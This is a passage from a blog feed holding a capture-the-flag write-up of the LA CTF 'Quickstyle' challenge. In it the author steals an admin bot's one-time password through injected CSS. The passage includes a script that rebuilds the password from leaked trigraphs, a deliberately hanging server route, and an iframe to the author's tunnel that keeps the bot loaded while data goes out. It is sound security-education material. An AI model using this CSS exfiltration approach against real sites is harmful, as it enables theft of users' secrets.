<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">const</span> <span class="nx">ans</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">b</span> <span class="k">of</span> <span class="nx">permute</span><span class="p">(</span><span class="nx">w</span><span class="p">))</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`python3 bubby.py </span><span class="p">${</span><span class="nx">b</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">-</span><span class="dl">'</span><span class="p">)}</span><span class="s2">`</span><span class="p">)</span>
  <span class="kd">const</span> <span class="nx">command</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Deno</span><span class="p">.</span><span class="nx">Command</span><span class="p">(</span><span class="dl">'</span><span class="s1">python3</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">args</span><span class="p">:</span> <span class="p">[</span>
      <span class="dl">'</span><span class="s1">bubby.py</span><span class="dl">'</span><span class="p">,</span>
      <span class="nx">b</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">-</span><span class="dl">'</span><span class="p">)</span>
    <span class="p">],</span>
  <span class="p">});</span>

  <span class="kd">const</span> <span class="p">{</span><span class="nx">stdout</span><span class="p">,</span><span class="nx">stderr</span><span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">command</span><span class="p">.</span><span class="nx">output</span><span class="p">()</span>
  <span class="kd">const</span> <span class="nx">out</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TextDecoder</span><span class="p">().</span><span class="nx">decode</span><span class="p">(</span><span class="nx">stdout</span><span class="p">)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">out</span><span class="p">)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="k">new</span> <span class="nx">TextDecoder</span><span class="p">().</span><span class="nx">decode</span><span class="p">(</span><span class="nx">stderr</span><span class="p">))</span>
  <span class="kd">const</span> <span class="nx">otp</span> <span class="o">=</span> <span class="nx">out</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span>
  <span class="kd">let</span> <span class="nx">s</span> <span class="o">=</span> <span class="nx">otp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">otp</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">+=</span><span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">s</span> <span class="o">+=</span> <span class="nx">otp</span><span class="p">[</span><span class="nx">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
  <span class="p">}</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span>
  <span class="k">if</span><span class="p">(</span><span class="nx">otp</span><span class="p">){</span>

    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://quickstyle.chall.lac.tf/flag?user=1&amp;otp=</span><span class="dl">'</span><span class="o">+</span><span class="nx">s</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> ✨</span><span class="dl">'</span><span class="p">)</span>
    <span class="nx">ans</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span>
  <span class="p">}</span>
<span class="p">}</span>


<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">results</span><span class="dl">'</span><span class="p">,</span> <span class="nx">ans</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">three</span><span class="p">.</span><span class="nx">length</span> <span class="o">!==</span> <span class="mi">78</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">three</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1"> </span><span class="dl">'</span><span class="p">))</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">three</span><span class="p">.</span><span class="nx">length</span><span class="p">}</span><span class="s2"> triplets received, expected 78. :/`</span><span class="p">)</span>
  <span class="c1">// Deno.exit(1)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The error at the end warns me that there were duplicate triplets (which can happen but isn’t as common as duplicate pairs), so I shouldn’t trust the reconstructed OTP.</p>

<p>This does work! Although many times it fails because it’s not equipped to handle duplicate subsequences, in fewer than ten attempts I can get one or two OTPs right, which is enough for me to do manually with Admin Bot.</p>

<p>Except, my server wasn’t receiving anything from Admin Bot.</p>

<h3 id="admin-bot-wont-run-my-code">Admin Bot won’t run my code</h3>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">page accessed!</span><span class="dl">'</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">user-agent</span><span class="dl">'</span><span class="p">))</span>
</code></pre></div></div>

<p>My server did notice that Admin Bot successfully loaded my injected CSS. But that was it. On the Admin Bot page, it said “Visit successful,” which meant that it felt like it was done and closed the page.</p>

<p>Why? I had two hypotheses:</p>

<ul>
  <li>Admin Bot has a short timeout, and the CSS, with its thousands of rules, was taking too long to load and compute. I noticed on my end that there was a moment when the page would freeze while loading, and the performance graph said it was spending almost a second on “Recalculate Style.”</li>
  <li>Admin Bot container doesn’t have much memory allocated to it, so the browser ran out of memory. This happened to me when I tried to create a CSS variable for every trigraph.</li>
</ul>

<p>I did notice that when I decreased <code class="language-plaintext highlighter-rouge">N</code> (the number of CSS variables) down to 1000, Admin Bot did start sending requests to my server. This observation was consistent with my hypotheses. But 1000 CSS variables isn’t enough for me.</p>

<p>I kept trying to wrangle with Admin Bot, which towards 6 am involved just repeatedly sending Admin Bot to my page, solving the reCAPTCHA each time, hoping that eventually, it might linger on the page just long enough to give me the trigraphs I needed.</p>

<!-- My friend had stayed overnight at our place working on other challenges for the CTF, and he decided that he'd leave at 6 am, which he did.

![Nick and me at 06:19](../images/lactf/0619.jpg)

![The sunrise at 06:29](../images/lactf/0629.jpg)

I wanted to go to sleep too, so -->

<p>Eventually, I gave up and resorted to creating a ticket on the LA CTF Discord server. Unsurprisingly, everyone was asleep, so I assumed I’d get a reply by the time I woke up. I set my alarm for 12 pm to give myself a few hours before the end of the CTF to respond and continue solving the challenge.</p>

<p>The challenge author responded at 10:04, which I didn’t see until I woke up at 11:04.</p>

<blockquote>
  <p>@Sean it might be bc ngrok free tier requires a header to be sent with first request?</p>

  <p>My official solve uses ngrok free tier but I never had to set the request while when my friends use free tier they apparently have to</p>

  <p>I would recommend serving your html css payload with GitHub pages and use a cf worker or glitch or cf-tunneled server for your exfil server</p>
</blockquote>

<p>I took their feedback and tried setting up a <a href="https://workers.cloudflare.com/">Cloudflare Worker</a>, gave up (I don’t have a domain), then used an anonymous <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/">Cloudflare Tunnel</a>. It didn’t work. I had already used GitHub Pages, but it didn’t seem to change anything.</p>

<p>I gave them the CSS file I used.</p>

<blockquote>
  <p>uh your css looks good</p>

  <p>its p much what i ddi</p>

  <p>except i didn’t bother initializing all the variables to none</p>

  <p>i think you could make your cloudflare url shorter</p>

  <p>at least for me it was just like sometwolettercombo.uesrname.workers.dev</p>

  <p>idk</p>

  <p>but yea ur thing looks good, i think u jsut need a tweak or 2</p>
</blockquote>

<blockquote>
  <p>ermmmm your form is unclosed, i wonder if there are some garbled html issues</p>
</blockquote>

<p>Removing the variable initializations broke my code because when a CSS variable isn’t defined, I think it defaults to an empty string, resulting in duplicate commas like <code class="language-plaintext highlighter-rouge">background: ,url(...),;</code>, which is not valid syntax. So I instead used <code class="language-plaintext highlighter-rouge">var(--name, none)</code>, where <code class="language-plaintext highlighter-rouge">none</code> is the default value if the variable isn’t defined. I closed my <code class="language-plaintext highlighter-rouge">&lt;form&gt;</code> and <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> tags, which I hadn’t done before to save characters (it worked without the closing tags).</p>

<p>I then also set up a custom Cloudflare <a href="https://blog-cloudflare-com.webpkgcache.com/doc/-/s/blog.cloudflare.com/announcing-workers-dev/">workers.dev domain</a>, <code class="language-plaintext highlighter-rouge">la.ussa-say.workers.dev</code>. I accidentally ruined my DNS cache by visiting it in my browser before it was set up, so I changed it to <code class="language-plaintext highlighter-rouge">lc.ussa-say.workers.dev</code>.</p>

<p>Even after all these changes, it still didn’t work, and now I had a mess of tunnels and servers running on my laptop.</p>

<p>According to them, Admin Bot couldn’t have been timing out because they have a specific error message for it. Their solution rendered “instantly,” which meant two seconds, which was a bit slower than my solution.</p>

<p>Finally, they suggested,</p>

<blockquote>
  <p>uhmmmmm ok maybe try just putting some iframes</p>

  <p>in the page</p>

  <p>that just like</p>

  <p>hang</p>

  <p>like just like 5 iframes to some url that takes 10s to load</p>
</blockquote>

<p>I created a route on my server that would keep loading by receiving a request and pretending to be working on it<sup id="fnref:15" role="doc-noteref"><a href="#fn:15" class="footnote" rel="footnote">8</a></sup>, while in reality, it ignores the request.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">part</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">).</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">part</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">load</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// dont respond. let it sit.</span>
  <span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(()</span><span class="o">=&gt;</span><span class="p">{})</span>
<span class="p">}</span>
</code></pre></div></div>

<!-- prettier-ignore -->
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"//subsection-diana-commissioners-excited.trycloudflare.com/load"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<p>Finally, after almost twelve hours, I saw results coming in.</p>

<p><img src="../images/lactf/css-success.png" alt="`vQi1sgOidhhKbGweLOQuvIvDVygqUt4BN8Z6hSMcUwOoYHhXThgIrSZfPibet0GH1bRy398E3oiBIv7N` and other potential OTPs." /></p>

<p>The first attempt that worked had multiple possible results. For some reason, I instinctively felt that the first one was the OTP—the stakes were low. I tried it by visiting <a href="https://quickstyle.chall.lac.tf/flag?user=1&amp;otp=vQi1sgOidhhKbGweLOQuvIvDVygqUt4BN8Z6hSMcUwOoYHhXThgIrSZfPibet0GH1bRy398E3oiBIv7N">https://quickstyle.chall.lac.tf/flag?user=1&amp;otp=vQi1sgOidhhKbGweLOQuvIvDVygqUt4BN8Z6hSMcUwOoYHhXThgIrSZfPibet0GH1bRy398E3oiBIv7N</a>.</p>

<p><img src="../images/lactf/css-flag.png" alt="lactf{masterfu3_para7737_css_exf1l7ration}" /></p>

<h3 id="conclusion">Conclusion</h3>

<p>Here are the files I made for this challenge:</p>

<ul>
  <li><a href="../files/lactf/heyy.html">heyy.html</a> (3 MB) contains the HTML/CSS payload that I injected, with all the thousands of CSS rules identifying the pairs and trigraphs.</li>
  <li><a href="../files/lactf/weeno.js">weeno.js</a> is the Deno server that tracks the requests received, reconstructs the letter cases of the trigraphs, and runs the Python program that reconstructs the strings.</li>
  <li><a href="../files/lactf/bubby.py">bubby.py</a> reconstructs the strings from trigraphs.</li>
</ul>

<p>As it turns out, my solution was the intended solution. On the Discord server, apparently some other teams used the bfcache to avoid refreshing the OTP. Chrome now avoids reloading the page when you go back and forth in history, but it apparently does re-execute the page, so it can fetch <code class="language-plaintext highlighter-rouge">page</code> again. This allows them to change their CSS file as they discover more characters, using the more traditional CSS injection approach. Another team claimed to take advantage of <code class="language-plaintext highlighter-rouge">Math.random()</code>’s PRNG-ness, but I’m not sure if they’ve elaborated on that.</p>

<p>This challenge was a lot of work and required a lot of brainstorming, particularly for exfiltrating the OTP in a way that could be reconstructed. But I think it was very rewarding both because I was persistent and it was among the harder challenges of the CTF.</p>

<p>While I don’t think I learned too much about CSS from this challenge, it’s very interesting to see an approach to CSS injections that usually isn’t required in other challenges. I did learn about more techniques for CSS injections, and I wonder if the same solution could work for CSS injection challenges in the future.</p>

<p>I also think it’s incredibly amusing how intertwined branches of math—the birthday paradox from probability and reconstructing strings by finding an Eulerian path in a De Bruijn graph—were, despite the challenge seemingly just being about CSS.</p>

<p>At worst, I just think that debugging Admin Bot was frustrating. As feedback—not as critique for the LA CTF organizers who tried their best to help—it might be helpful in the future to provide the source for Admin Bot, or at least have a list of tips or common issues. I feel like I could’ve been told about keeping Admin Bot busy a lot earlier, but maybe it might just be obvious to others who have had more experience in CTFs with infrastructure similar to Admin Bot.</p>

<p>All in all, Quickstyle is one of the most interesting yet difficult challenges I’ve completed for a CTF. I look forward to seeing more challenges by r2uwu2 and others on the LA CTF team next year.</p>

<p>A big thanks to LA CTF for their wide variety of challenges and excellent infrastructure! 🥰</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Something I never got to use at UCSD because UCSD didn’t have a two-year housing guarantee. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>The deepest darkest secret doesn’t work because the server just sets it to <code class="language-plaintext highlighter-rouge">todo</code> for all non-Samy users. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p>You might be wondering how JSFuck can create a function in the first place. You can get <code class="language-plaintext highlighter-rouge">a</code> from <code class="language-plaintext highlighter-rouge">false</code> and <code class="language-plaintext highlighter-rouge">t</code> from <code class="language-plaintext highlighter-rouge">true</code>, and arrays have a method named <code class="language-plaintext highlighter-rouge">at</code>, which you can access with <code class="language-plaintext highlighter-rouge">[]['a' + 't']</code>. It’s also possible to get the other letters in <code class="language-plaintext highlighter-rouge">constructor</code>, so you can use <code class="language-plaintext highlighter-rouge">[]['at']['constructor']</code> to get a reference to the <code class="language-plaintext highlighter-rouge">Function</code> constructor, which you can use to convert strings to functions. For example, <code class="language-plaintext highlighter-rouge">Function('return 3')</code> creates a function that returns 3. <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p>This was originally a Node-specific feature that has recently been <a href="https://github.com/tc39/proposal-hashbang">standardized into JavaScript</a>, adding a fourth comment syntax to JavaScript’s existing family of <code class="language-plaintext highlighter-rouge">//</code>, <code class="language-plaintext highlighter-rouge">/* */</code>, and <code class="language-plaintext highlighter-rouge">&lt;!-- --&gt;</code>. <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:12" role="doc-endnote">
      <p>I tried looking through my browsing history, but there’s no evidence of me ever learning about this from anything online. Based on my browsing history, it just looks like I was trying things like <code class="language-plaintext highlighter-rouge">&lt;span id="document"&gt;</code> then suddenly had a stroke of genius and tried doing <code class="language-plaintext highlighter-rouge">&lt;form name=querySelectorAll&gt;</code>. Then, I wondered where I got this idea from and tried to look up “form name getelementbyid injection” to find the original post, but seemed to fail. <a href="#fnref:12" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:13" role="doc-endnote">
      <p>Again, as noted at the beginning of the article, everyone at UCSD is part of our team. I don’t think this counts as cheating. At worst it’s just some OSINT. <a href="#fnref:13" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:14" role="doc-endnote">
      <p>It’s possible for a trigraph to be missing a pair, like having <code class="language-plaintext highlighter-rouge">abc</code> but not <code class="language-plaintext highlighter-rouge">ab</code>, due to CSS variable collisions. <a href="#fnref:14" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:15" role="doc-endnote">
      <p>Like our dining halls’ mobile ordering app. <a href="#fnref:15" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name></name></author><category term="programming" /><category term="ctf" /><summary type="html"><![CDATA[With graph theory, CSS can steal your password.]]></summary></entry></feed>